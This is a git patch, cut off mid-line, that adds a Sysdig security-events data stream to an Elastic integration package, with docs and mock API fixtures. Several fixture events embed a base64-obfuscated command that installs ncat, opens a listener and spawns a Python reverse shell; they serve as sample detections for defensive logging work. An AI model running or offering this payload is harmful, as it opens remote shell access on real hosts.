From b91c6300e6f4b24e5ffaaed0c4f7483a5ebc992a Mon Sep 17 00:00:00 2001 From: brijesh-elastic Date: Mon, 21 Apr 2025 19:05:25 +0530 Subject: [PATCH 1/2] Add support for security event datastream --- packages/sysdig/_dev/build/docs/README.md | 60 +- .../_dev/deploy/docker/docker-compose.yml | 13 + .../_dev/deploy/docker/files/config.yml | 514 +++++ packages/sysdig/changelog.yml | 5 + .../_dev/test/pipeline/test-common-config.yml | 3 + .../event/_dev/test/pipeline/test-event.log | 6 + .../pipeline/test-event.log-expected.json | 1626 +++++++++++++++ .../_dev/test/system/test-default-config.yml | 11 + .../event/agent/stream/cel.yml.hbs | 102 + .../elasticsearch/ingest_pipeline/default.yml | 1467 ++++++++++++++ .../data_stream/event/fields/base-fields.yml | 20 + .../sysdig/data_stream/event/fields/beats.yml | 6 + .../sysdig/data_stream/event/fields/ecs.yml | 30 + .../data_stream/event/fields/fields.yml | 415 ++++ .../sysdig/data_stream/event/manifest.yml | 93 + .../data_stream/event/sample_event.json | 211 ++ packages/sysdig/docs/README.md | 456 ++++- .../img/sysdig-security-events-screenshot.png | Bin 0 -> 780115 bytes ...-d0ac6062-d4da-4f63-948d-4aea617909bf.json | 1782 +++++++++++++++++ ...-fae0ccf1-e806-4876-a7fa-7258b094b15b.json | 11 +- ...-81a3c734-23e4-4acb-83dd-ae05dd98536c.json | 75 + packages/sysdig/manifest.yml | 67 +- packages/sysdig/validation.yml | 3 + 23 files changed, 6952 insertions(+), 24 deletions(-) create mode 100644 packages/sysdig/_dev/deploy/docker/files/config.yml create mode 100644 packages/sysdig/data_stream/event/_dev/test/pipeline/test-common-config.yml create mode 100644 packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log create mode 100644 packages/sysdig/data_stream/event/_dev/test/pipeline/test-event.log-expected.json create mode 100644 packages/sysdig/data_stream/event/_dev/test/system/test-default-config.yml create mode 100644 packages/sysdig/data_stream/event/agent/stream/cel.yml.hbs create mode 100644 packages/sysdig/data_stream/event/elasticsearch/ingest_pipeline/default.yml create mode 100644 packages/sysdig/data_stream/event/fields/base-fields.yml create mode 100644 packages/sysdig/data_stream/event/fields/beats.yml create mode 100644 packages/sysdig/data_stream/event/fields/ecs.yml create mode 100644 packages/sysdig/data_stream/event/fields/fields.yml create mode 100644 packages/sysdig/data_stream/event/manifest.yml create mode 100644 packages/sysdig/data_stream/event/sample_event.json create mode 100644 packages/sysdig/img/sysdig-security-events-screenshot.png create mode 100644 packages/sysdig/kibana/dashboard/sysdig-d0ac6062-d4da-4f63-948d-4aea617909bf.json create mode 100644 packages/sysdig/kibana/search/sysdig-81a3c734-23e4-4acb-83dd-ae05dd98536c.json create mode 100644 packages/sysdig/validation.yml diff --git a/packages/sysdig/_dev/build/docs/README.md b/packages/sysdig/_dev/build/docs/README.md index 9347aa8abad..dec8af4403e 100644 --- a/packages/sysdig/_dev/build/docs/README.md +++ b/packages/sysdig/_dev/build/docs/README.md @@ -1,15 +1,34 @@ # Sysdig Integration -This integration allows for the shipping of [Sysdig](https://sysdig.com/) alerts to Elastic for observability and organizational awareness. Alerts can then be analyzed by using either the dashboard included with the integration or via the creation of custom dashboards within Kibana. +This integration allows for the shipping of [Sysdig](https://sysdig.com/) logs to Elastic for security, observability and organizational awareness. Logs can then be analyzed by using either the dashboard included with the integration or via the creation of custom dashboards within Kibana. ## Data Streams -The Sysdig integration collects one type of data stream: alerts. +The Sysdig integration collects two type of logs: **Alerts** The Alerts data stream collected by the Sysdig integration is comprised of Sysdig Alerts. See more details about Sysdig Alerts in [Sysdig's Alerts Documentation](https://docs.sysdig.com/en/docs/sysdig-monitor/alerts/). A complete list of potential fields used by this integration can be found in the [Logs reference](#logs-reference) +**Event** The event data stream collected through the Sysdig integration consists of Sysdig Security Events. See more details about Security Events in [Sysdig's Events Feed Documentation](https://docs.sysdig.com/en/docs/sysdig-secure/threats/activity/events-feed/). + ## Requirements -You need Elasticsearch for storing and searching your data and Kibana for visualizing and managing it. -You can use our hosted Elasticsearch Service on Elastic Cloud, which is recommended, or self-manage the Elastic Stack on your own hardware. +Elastic Agent must be installed. For more details and installation instructions, please refer to the [Elastic Agent Installation Guide](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html). + +### Installing and managing an Elastic Agent: + +There are several options for installing and managing Elastic Agent: + +### Install a Fleet-managed Elastic Agent (recommended): + +With this approach, you install Elastic Agent and use Fleet in Kibana to define, configure, and manage your agents in a central location. We recommend using Fleet management because it makes the management and upgrade of your agents considerably easier. + +### Install Elastic Agent in standalone mode (advanced users): + +With this approach, you install Elastic Agent and manually configure the agent locally on the system where it’s installed. You are responsible for managing and upgrading the agents. This approach is reserved for advanced users only. + +### Install Elastic Agent in a containerized environment: + +You can run Elastic Agent inside a container, either with Fleet Server or standalone. Docker images for all versions of Elastic Agent are available from the Elastic Docker registry, and we provide deployment manifests for running on Kubernetes. + +Please note, there are minimum requirements for running Elastic Agent. For more information, refer to the [Elastic Agent Minimum Requirements](https://www.elastic.co/guide/en/fleet/current/elastic-agent-installation.html#elastic-agent-installation-minimum-requirements). Sysdig must be configured to output alerts to a supported output channel as defined in [Setup](#setup). The system will only receive common fields output by Sysdig's rules, meaning that if a rule does not include a desired field the rule must be edited in Sysdig to add the field. @@ -25,14 +44,41 @@ The HTTP input allows the Elastic Agent to receive Sysdig Alerts via HTTP webhoo **Required:** To configure Sysdig to output JSON, you must set up as webhook notification channel as outlined in the [Sysdig Documentation](https://docs.sysdig.com/en/docs/administration/administration-settings/outbound-integrations/notifications-management/set-up-notification-channels/configure-a-webhook-channel/). +### To collect data from the Sysdig Next Gen API: + +- Retrieve the API Token by following [Sysdig's API Token Guide](https://docs.sysdig.com/en/retrieve-the-sysdig-api-token). + +### Enabling the integration in Elastic: + +1. In Kibana navigate to Management > Integrations. +2. In "Search for integrations" top bar, search for `Sysdig`. +3. Select the "Sysdig" integration from the search results. +4. Select "Add Sysdig" to add the integration. +5. Add all the required integration configuration parameters, including the URL, API Token, Interval, and Initial Interval, to enable data collection. +6. Select "Save and continue" to save the integration. + +**Note**: + - The URL may vary depending on your region. Please refer to the [Documentation](https://docs.sysdig.com/en/developer-tools/sysdig-api/#access-the-sysdig-api-using-the-regional-endpoints) to find the correct URL for your region. + - If you see an error saying `exceeded maximum number of CEL executions` during data ingestion, it usually means a large volume of data is being processed for the selected time interval. To fix this, try increasing the Max Executions setting in the configuration. + ## Logs Reference -### alerts +### Alerts Sysdig alerts can contain a multitude of various fields pertaining to the type of activity on the host machine. {{ fields "alerts" }} -**Example event** +#### Example + +{{ event "alerts" }} + +### Event + +This is the `event` dataset. + +#### Example + +{{event "event"}} -{{ event "alerts" }} \ No newline at end of file +{{fields "event"}} diff --git a/packages/sysdig/_dev/deploy/docker/docker-compose.yml b/packages/sysdig/_dev/deploy/docker/docker-compose.yml index 1f0caf7a6f7..d5fa84ecdea 100644 --- a/packages/sysdig/_dev/deploy/docker/docker-compose.yml +++ b/packages/sysdig/_dev/deploy/docker/docker-compose.yml @@ -7,3 +7,16 @@ services: - STREAM_PROTOCOL=webhook - STREAM_ADDR=http://elastic-agent:9035/ command: log --start-signal=SIGHUP --delay=5s /sample_logs/sysdig.log + sysdig: + image: docker.elastic.co/observability/stream:v0.17.1 + hostname: sysdig + ports: + - 8090 + volumes: + - ./files:/files:ro + environment: + PORT: '8090' + command: + - http-server + - --addr=:8090 + - --config=/files/config.yml diff --git a/packages/sysdig/_dev/deploy/docker/files/config.yml b/packages/sysdig/_dev/deploy/docker/files/config.yml new file mode 100644 index 00000000000..1cf1d24a8d0 --- /dev/null +++ b/packages/sysdig/_dev/deploy/docker/files/config.yml @@ -0,0 +1,514 @@ +rules: + - path: /secure/events/v1/events + methods: ['GET'] + query_params: + from: "{from:.*}" + to: "{to:.*}" + limit: 2 + request_headers: + Authorization: + - "Bearer xxxx" + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: |- + {{ minify_json ` + { + "data": [ + { + "category": "runtime", + "content": { + "fields": { + "container.image.repository": "docker.io/library/python", + "container.name": "shell-scripting", + "evt.res": "SUCCESS", + "evt.type": "execve", + "group.gid": "0", + "group.name": "root", + "proc.args": "", + "proc.cmdline": "sh", + "proc.cwd": "/", + "proc.exepath": "/usr/bin/dash", + "proc.hash.sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "proc.name": "sh", + "proc.pcmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "proc.pid": "1890726", + "proc.pid.ts": "1744002001003626585", + "proc.pname": "bash", + "proc.ppid": "1890704", + "proc.ppid.ts": "1744002000895807711", + "proc.sid": "1", + "user.loginname": "", + "user.loginuid": "-1", + "user.name": "root", + "user.uid": "0" + }, + "origin": "Secure UI", + "output": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1890726 proc.cwd=/ proc.ppid=1890704 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1744002001003626585 proc.ppid.ts=1744002000895807711 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "policyId": 10569534, + "ruleName": "My test rule custom", + "ruleSubType": 0, + "ruleTags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "ruleType": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This is just a dumb policy to test custom policies", + "engine": "falco", + "id": "1a33f0946dabcdefabcdefad5c3e7f22", + "labels": { + "cloudProvider.account.id": "123456789012", + "cloudProvider.name": "gcp", + "cloudProvider.region": "us-central1", + "container.image.digest": "sha256:aa7b73608abcfb0212401234567890123456789abcdefa610681097a54ca2c2a", + "container.image.id": "ef0abcdefbd2", + "container.image.repo": "docker.io/library/python", + "container.image.tag": "3.9.18-slim", + "container.label.io.kubernetes.container.name": "shell-scripting", + "container.label.io.kubernetes.pod.name": "shell-scripting-abcdef12-12345", + "container.label.io.kubernetes.pod.namespace": "default", + "container.name": "shell-scripting", + "gcp.location": "us-central1", + "gcp.projectId": "1231456789012", + "host.hostName": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "host.mac": "01:00:5e:90:10:00", + "kubernetes.cluster.name": "gke-alliances-demo-6", + "kubernetes.cronJob.name": "shell-scripting", + "kubernetes.job.name": "shell-scripting-29066700", + "kubernetes.namespace.name": "default", + "kubernetes.node.name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "kubernetes.pod.name": "shell-scripting-abcdef12-12345", + "kubernetes.workload.name": "shell-scripting", + "kubernetes.workload.type": "cronjob" + }, + "name": "Manuel test policy", + "originator": "policy", + "rawEventCategory": "runtime", + "rawEventOriginator": "linuxAgent", + "severity": 4, + "source": "syscall", + "sourceDetails": { + "subType": "container", + "type": "workload" + }, + "timestamp": 1744772461195149800 + }, + { + "category": "runtime", + "content": { + "fields": { + "container.image.repository": "docker.io/library/python", + "container.name": "shell-scripting", + "evt.res": "SUCCESS", + "evt.type": "execve", + "group.gid": "0", + "group.name": "root", + "proc.args": "", + "proc.cmdline": "sh", + "proc.cwd": "/", + "proc.exepath": "/usr/bin/dash", + "proc.hash.sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "proc.name": "sh", + "proc.pcmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "proc.pid": "1372469", + "proc.pid.ts": "1743822001115100312", + "proc.pname": "bash", + "proc.ppid": "1372453", + "proc.ppid.ts": "1743822000952432134", + "proc.sid": "1", + "user.loginname": "", + "user.loginuid": "-1", + "user.name": "root", + "user.uid": "0" + }, + "origin": "Secure UI", + "output": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "policyId": 10569534, + "ruleName": "My test rule custom", + "ruleSubType": 0, + "ruleTags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "ruleType": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This is just a dumb policy to test custom policies", + "engine": "falco", + "id": "1a334cdef0060123456789abcdef64a9", + "labels": { + "cloudProvider.account.id": "012345678912", + "cloudProvider.name": "gcp", + "cloudProvider.region": "us-central1", + "container.image.digest": "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a", + "container.image.id": "ef0f72a55bd2", + "container.image.repo": "docker.io/library/python", + "container.image.tag": "3.9.18-slim", + "container.label.io.kubernetes.container.name": "shell-scripting", + "container.label.io.kubernetes.pod.name": "shell-scripting-29063700-123ab", + "container.label.io.kubernetes.pod.namespace": "default", + "container.name": "shell-scripting", + "gcp.location": "us-central1", + "gcp.projectId": "012345678912", + "host.hostName": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "host.mac": "01:00:5e:90:10:00", + "kubernetes.cluster.name": "gke-alliances-demo-6", + "kubernetes.cronJob.name": "shell-scripting", + "kubernetes.job.name": "shell-scripting-29063700", + "kubernetes.namespace.name": "default", + "kubernetes.node.name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd", + "kubernetes.pod.name": "shell-scripting-12345678-123ab", + "kubernetes.workload.name": "shell-scripting", + "kubernetes.workload.type": "cronjob" + }, + "name": "Manuel test policy", + "originator": "policy", + "rawEventCategory": "runtime", + "rawEventOriginator": "linuxAgent", + "severity": 4, + "source": "syscall", + "sourceDetails": { + "subType": "container", + "type": "workload" + }, + "timestamp": 1743822001115928600 + } + ], + "page": { + "next": "abcdefgabcdefg01234567899876543210==", + "total": 5 + } + } + `}} + - path: /secure/events/v1/events + methods: ['GET'] + query_params: + cursor: abcdefgabcdefg01234567899876543210== + limit: 2 + request_headers: + Authorization: + - "Bearer xxxx" + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: |- + {{ minify_json ` + { + "data": [ + { + "actions": [ + { + "afterEventNs": 30000000000, + "beforeEventNs": 15000000000, + "errMsg": "maximum number of outstanding captures (1) reached", + "isSuccessful": false, + "token": "7d30b372-3dd9-1234-5678-403612345678", + "type": "capture" + } + ], + "category": "runtime", + "content": { + "fields": { + "container.id": "382abcdefd0a", + "container.image.repository": "gcr.io/cadvisor/cadvisor", + "container.image.tag": "v0.45.0", + "container.mounts": "/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private", + "container.name": "cadvisor", + "evt.res": "SUCCESS", + "evt.type": "execve", + "group.gid": "0", + "group.name": "root", + "proc.cmdline": "cadvisor -logtostderr --enable_metrics=cpu,diskIO,memory,network,oom_event --docker_only", + "proc.cwd": "/", + "proc.exepath": "/usr/bin/cadvisor", + "proc.name": "cadvisor", + "proc.pcmdline": "runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a", + "proc.pid": "741051", + "proc.pname": "runc", + "proc.ppid": "741043", + "proc.sid": "1", + "user.loginname": "", + "user.loginuid": "-1", + "user.name": "root", + "user.uid": "0" + }, + "origin": "Sysdig", + "output": "Container cadvisor having image gcr.io/cadvisor/cadvisor with sensitive mount started by user root and parent runc (proc.name=cadvisor image=gcr.io/cadvisor/cadvisor:v0.45.0 proc.exepath=/usr/bin/cadvisor proc.pname=runc gparent=containerd-shim ggparent=systemd gggparent= mounts=/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private evt.type=execve evt.res=SUCCESS proc.pid=741051 proc.cwd=/ proc.ppid=741043 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a proc.sid=1 user.loginuid=-1 user.uid=0 user.loginname= group.gid=0 group.name=root container.id=382e35271d0a container.name=cadvisor)", + "policyId": 10011701, + "ruleName": "Launch Sensitive Mount Container", + "ruleSubType": 0, + "ruleTags": [ + "container", + "container_best_practices", + "container_immutability", + "SOC2", + "SOC2_CC6.1", + "NIST", + "NIST_800-190", + "NIST_800-190_3.4.3", + "NIST_800-190_3.5.5", + "NIST_800-53", + "NIST_800-53_AC-6(9)", + "NIST_800-53_AC-6(10)", + "NIST_800-53_AU-6(8)", + "ISO", + "ISO_27001", + "ISO_27001_A.9.2.3", + "HIPAA", + "HIPAA_164.308(a)", + "HIPAA_164.312(a)", + "HIPAA_164.312(b)", + "HITRUST", + "HITRUST_CSF", + "HITRUST_CSF_01.c", + "HITRUST_CSF_09.aa", + "GDPR", + "GDPR_32.1", + "GDPR_32.2", + "MITRE", + "MITRE_T1609_container_administration_command", + "MITRE_T1611_escape_to_host", + "MITRE_TA0002_execution", + "MITRE_TA0004_privilege_escalation", + "MITRE_TA0008_lateral_movement", + "MITRE_T1610_deploy_container", + "MITRE_TA0005_defense_evasion", + "MITRE_T1055.009_process_injection_proc_memory", + "MITRE_T1543_create_or_modify_system_process", + "CIS", + "oss" + ], + "ruleType": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.", + "engine": "falco", + "id": "1836ac8550123456789abcdefe5d827f", + "labels": { + "container.image.digest": "sha256:9360d7421c5e9b646ea13e5ced3f8e6da80017b0144733a04b7401dd8c01a5cb", + "container.image.id": "3f3e5f568a6d", + "container.image.repo": "gcr.io/cadvisor/cadvisor", + "container.image.tag": "v0.45.0", + "container.label.io.kubernetes.container.name": "cadvisor", + "container.label.io.kubernetes.pod.name": "wave-autoscale-agent-abcde", + "container.label.io.kubernetes.pod.namespace": "wave-autoscale", + "container.name": "cadvisor", + "host.hostName": "hybrid-node", + "host.mac": "01:00:5e:90:10:02", + "kubernetes.cluster.name": "myclusterName", + "kubernetes.namespace.name": "wave-autoscale", + "kubernetes.node.name": "node04", + "kubernetes.pod.name": "wave-autoscale-agent-abcde" + }, + "name": "Sysdig Runtime Notable Events", + "originator": "policy", + "rawEventCategory": "runtime", + "rawEventOriginator": "linuxAgent", + "severity": 5, + "source": "syscall", + "sourceDetails": { + "subType": "container", + "type": "workload" + }, + "timestamp": 1744701225528350000 + }, + { + "category": "runtime", + "content": { + "fields": { + "container.id": "4db57cd1354c", + "container.name": "shell-scripting", + "group.gid": "0", + "group.name": "root", + "proc.cmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "proc.cwd": "/", + "proc.exepath": "/usr/bin/bash", + "proc.hash.sha256": "7ebfc53f17925af4340d4218aafd16ba39b5afa8b6ac1f7adc3dd92952a2a237", + "proc.name": "bash", + "proc.pcmdline": "runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe", + "proc.pid": "97888", + "proc.pname": "runc", + "proc.ppid": "97881", + "proc.sid": "1", + "user.loginname": "", + "user.loginuid": "-1", + "user.name": "root", + "user.uid": "0" + }, + "origin": "Sysdig", + "output": "Potentially malicious Shell script base64-encoded under user root on shell-scripting (proc.name=bash proc.exepath=/usr/bin/bash proc.pname=runc gparent=containerd-shim ggparent=containerd-shim gggparent=containerd proc.cmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root proc.pid=97888 proc.cwd=/ proc.ppid=97881 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe proc.sid=1 user.uid=0 user.loginuid=-1 user.loginname= group.gid=0 group.name=root container.id=4db57cd1354c container.name=shell-scripting)", + "policyId": 10011698, + "ruleName": "Base64-encoded Shell Script Execution", + "ruleSubType": 0, + "ruleTags": [ + "host", + "container", + "MITRE", + "MITRE_T1132.001_data_encoding_standard_encoding", + "MITRE_TA0011_command_and_control", + "MITRE_TA0005_defense_evasion", + "MITRE_T1059.004_command_and_scripting_interpreter_unix_shell", + "MITRE_T1059_command_and_scripting_interpreter", + "MITRE_TA0002_execution", + "MITRE_T1027_obfuscated_files_and_information", + "MITRE_T1140_deobfuscate_decode_files_or_information" + ], + "ruleType": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This policy contains rules which Sysdig considers High Confidence of a security incident. They are tightly coupled to common attacker TTP's. They have been designed to minimize false positives but may still result in some depending on your environment.", + "engine": "falco", + "id": "183a5e0123456789zbcdef400ba6d116", + "labels": { + "cloudProvider.account.id": "012345678912", + "cloudProvider.name": "gcp", + "cloudProvider.region": "us-central1", + "container.image.digest": "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a", + "container.image.id": "ef0f72a55bd2", + "container.image.repo": "docker.io/library/python", + "container.image.tag": "3.9.18-slim", + "container.label.io.kubernetes.container.name": "shell-scripting", + "container.label.io.kubernetes.pod.name": "shell-scripting-1234567-12345", + "container.label.io.kubernetes.pod.namespace": "default", + "container.name": "shell-scripting", + "gcp.location": "us-central1", + "gcp.projectId": "012345678912", + "host.hostName": "gke-cluster-gcp-demo-san-default-pool-12345678-1234", + "host.mac": "01:00:5e:90:10:00", + "kubernetes.cluster.name": "gke-alliances-demo-6", + "kubernetes.cronJob.name": "shell-scripting", + "kubernetes.job.name": "shell-scripting-29082780", + "kubernetes.namespace.name": "default", + "kubernetes.node.name": "gke-cluster-gcp-demo-san-default-pool-12345678-1234", + "kubernetes.pod.name": "shell-scripting-00123450-abcd5", + "kubernetes.workload.name": "shell-scripting", + "kubernetes.workload.type": "cronjob" + }, + "name": "Sysdig Runtime Threat Detection", + "originator": "policy", + "rawEventCategory": "runtime", + "rawEventOriginator": "linuxAgent", + "severity": 3, + "source": "syscall", + "sourceDetails": { + "subType": "container", + "type": "workload" + }, + "timestamp": 1744966800841090300 + } + ], + "page": { + "next": "01234567899876543210abcdefgabcdefg==", + "total": 5 + } + } + `}} + - path: /secure/events/v1/events + methods: ['GET'] + query_params: + cursor: 01234567899876543210abcdefgabcdefg== + limit: 2 + request_headers: + Authorization: + - "Bearer xxxx" + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: |- + {{ minify_json ` + { + "data": [ + { + "category": "runtime", + "content": { + "fields": { + "container.image.repository": "docker.io/library/python", + "container.name": "shell-scripting", + "evt.res": "SUCCESS", + "evt.type": "execve", + "group.gid": "0", + "group.name": "root", + "proc.args": "", + "proc.cmdline": "sh", + "proc.cwd": "/", + "proc.exepath": "/usr/bin/dash", + "proc.hash.sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "proc.name": "sh", + "proc.pcmdline": "bash -c echo 